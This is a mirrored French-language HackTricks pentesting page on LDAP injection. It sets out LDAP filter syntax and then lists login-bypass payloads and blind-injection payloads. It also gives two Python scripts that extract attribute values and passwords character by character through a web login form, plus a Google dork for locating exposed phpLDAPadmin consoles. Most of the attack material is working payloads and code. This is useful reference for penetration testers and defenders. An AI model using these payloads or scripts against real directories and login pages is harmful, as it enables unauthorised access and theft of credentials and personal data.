mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			213 lines
		
	
	
		
			6.6 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			213 lines
		
	
	
		
			6.6 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Injection LDAP
 | |
| 
 | |
| ## Injection LDAP
 | |
| 
 | |
| {{#include ../banners/hacktricks-training.md}}
 | |
| 
 | |
| ## Injection LDAP
 | |
| 
 | |
| ### **LDAP**
 | |
| 
 | |
| **Si vous voulez savoir ce qu'est LDAP, accédez à la page suivante :**
 | |
| 
 | |
| {{#ref}}
 | |
| ../network-services-pentesting/pentesting-ldap.md
 | |
| {{#endref}}
 | |
| 
 | |
| **L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir des entrées utilisateur. Elle se produit lorsque l'application **ne parvient pas à assainir correctement** les entrées, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation des données.
 | |
| 
 | |
| {{#file}}
 | |
| EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
 | |
| {{#endfile}}
 | |
| 
 | |
| **Filtre** = ( filtercomp )\
 | |
| **Filtercomp** = et / ou / non / élément\
 | |
| **Et** = & filterlist\
 | |
| **Ou** = |filterlist\
 | |
| **Non** = ! filter\
 | |
| **Filterlist** = 1\*filter\
 | |
| **Élément**= simple / présent / sous-chaîne\
 | |
| **Simple** = attr filtertype assertionvalue\
 | |
| **Filtertype** = _'=' / '\~=' / '>=' / '<='_\
 | |
| **Présent** = attr = \*\
 | |
| **Sous-chaîne** = attr ”=” \[initial] \* \[final]\
 | |
| **Initial** = assertionvalue\
 | |
| **Final** = assertionvalue\
 | |
| **(&)** = VRAI Absolu\
 | |
| **(|)** = FAUX Absolu
 | |
| 
 | |
| Par exemple :\
 | |
| `(&(!(objectClass=Impresoras))(uid=s*))`\
 | |
| `(&(objectClass=user)(uid=*))`
 | |
| 
 | |
| Vous pouvez accéder à la base de données, et cela peut contenir des informations de différents types.
 | |
| 
 | |
| **OpenLDAP** : Si 2 filtres arrivent, n'exécute que le premier.\
 | |
| **ADAM ou Microsoft LDS** : Avec 2 filtres, ils renvoient une erreur.\
 | |
| **SunOne Directory Server 5.0** : Exécute les deux filtres.
 | |
| 
 | |
| **Il est très important d'envoyer le filtre avec la syntaxe correcte sinon une erreur sera renvoyée. Il est préférable d'envoyer seulement 1 filtre.**
 | |
| 
 | |
| Le filtre doit commencer par : `&` ou `|`\
 | |
| Exemple : `(&(directory=val1)(folder=public))`
 | |
| 
 | |
| `(&(objectClass=VALUE1)(type=Epson*))`\
 | |
| `VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
 | |
| 
 | |
| Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celui exécuté).
 | |
| 
 | |
| ### Contournement de connexion
 | |
| 
 | |
| LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se peut que peu importe ce que vous insérez dans le mot de passe, il soit haché.
 | |
| ```bash
 | |
| user=*
 | |
| password=*
 | |
| --> (&(user=*)(password=*))
 | |
| # The asterisks are great in LDAPi
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| user=*)(&
 | |
| password=*)(&
 | |
| --> (&(user=*)(&)(password=*)(&))
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| user=*)(|(&
 | |
| pass=pwd)
 | |
| --> (&(user=*)(|(&)(pass=pwd))
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| user=*)(|(password=*
 | |
| password=test)
 | |
| --> (&(user=*)(|(password=*)(password=test))
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| user=*))%00
 | |
| pass=any
 | |
| --> (&(user=*))%00 --> Nothing more is executed
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| user=admin)(&)
 | |
| password=pwd
 | |
| --> (&(user=admin)(&))(password=pwd) #Can through an error
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| username = admin)(!(&(|
 | |
| pass = any))
 | |
| --> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| username=*
 | |
| password=*)(&
 | |
| --> (&(user=*)(password=*)(&))
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| username=admin))(|(|
 | |
| password=any
 | |
| --> (&(uid=admin)) (| (|) (webpassword=any))
 | |
| ```
 | |
| #### Listes
 | |
| 
 | |
| - [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
 | |
| - [Attributs LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
 | |
| - [Attributs PosixAccount LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
 | |
| 
 | |
| ### Injection LDAP aveugle
 | |
| 
 | |
| Vous pouvez forcer des réponses False ou True pour vérifier si des données sont renvoyées et confirmer une possible injection LDAP aveugle :
 | |
| ```bash
 | |
| #This will result on True, so some information will be shown
 | |
| Payload: *)(objectClass=*))(&objectClass=void
 | |
| Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| #This will result on True, so no information will be returned or shown
 | |
| Payload: void)(objectClass=void))(&objectClass=void
 | |
| Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
 | |
| ```
 | |
| #### Dump data
 | |
| 
 | |
| Vous pouvez itérer sur les lettres ascii, les chiffres et les symboles :
 | |
| ```bash
 | |
| (&(sn=administrator)(password=*))    : OK
 | |
| (&(sn=administrator)(password=A*))   : KO
 | |
| (&(sn=administrator)(password=B*))   : KO
 | |
| ...
 | |
| (&(sn=administrator)(password=M*))   : OK
 | |
| (&(sn=administrator)(password=MA*))  : KO
 | |
| (&(sn=administrator)(password=MB*))  : KO
 | |
| ...
 | |
| ```
 | |
| ### Scripts
 | |
| 
 | |
| #### **Découvrir les champs LDAP valides**
 | |
| 
 | |
| Les objets LDAP **contiennent par défaut plusieurs attributs** qui pourraient être utilisés pour **sauvegarder des informations**. Vous pouvez essayer de **forcer tous les attributs pour extraire ces informations.** Vous pouvez trouver une liste des [**attributs LDAP par défaut ici**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
 | |
| ```python
 | |
| #!/usr/bin/python3
 | |
| import requests
 | |
| import string
 | |
| from time import sleep
 | |
| import sys
 | |
| 
 | |
| proxy = { "http": "localhost:8080" }
 | |
| url = "http://10.10.10.10/login.php"
 | |
| alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
 | |
| 
 | |
| attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
 | |
| 
 | |
| for attribute in attributes: #Extract all attributes
 | |
| value = ""
 | |
| finish = False
 | |
| while not finish:
 | |
| for char in alphabet: #In each possition test each possible printable char
 | |
| query = f"*)({attribute}={value}{char}*"
 | |
| data = {'login':query, 'password':'bla'}
 | |
| r = requests.post(url, data=data, proxies=proxy)
 | |
| sys.stdout.write(f"\r{attribute}: {value}{char}")
 | |
| #sleep(0.5) #Avoid brute-force bans
 | |
| if "Cannot login" in r.text:
 | |
| value += str(char)
 | |
| break
 | |
| 
 | |
| if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
 | |
| finish = True
 | |
| print()
 | |
| ```
 | |
| #### **Injection LDAP aveugle spéciale (sans "\*")**
 | |
| ```python
 | |
| #!/usr/bin/python3
 | |
| 
 | |
| import requests, string
 | |
| alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
 | |
| 
 | |
| flag = ""
 | |
| for i in range(50):
 | |
| print("[i] Looking for number " + str(i))
 | |
| for char in alphabet:
 | |
| r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
 | |
| if ("TRUE CONDITION" in r.text):
 | |
| flag += char
 | |
| print("[+] Flag: " + flag)
 | |
| break
 | |
| ```
 | |
| ### Google Dorks
 | |
| ```bash
 | |
| intitle:"phpLDAPadmin" inurl:cmd.php
 | |
| ```
 | |
| ### Plus de Payloads
 | |
| 
 | |
| {{#ref}}
 | |
| https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
 | |
| {{#endref}}
 | |
| 
 | |
| {{#include ../banners/hacktricks-training.md}}
 |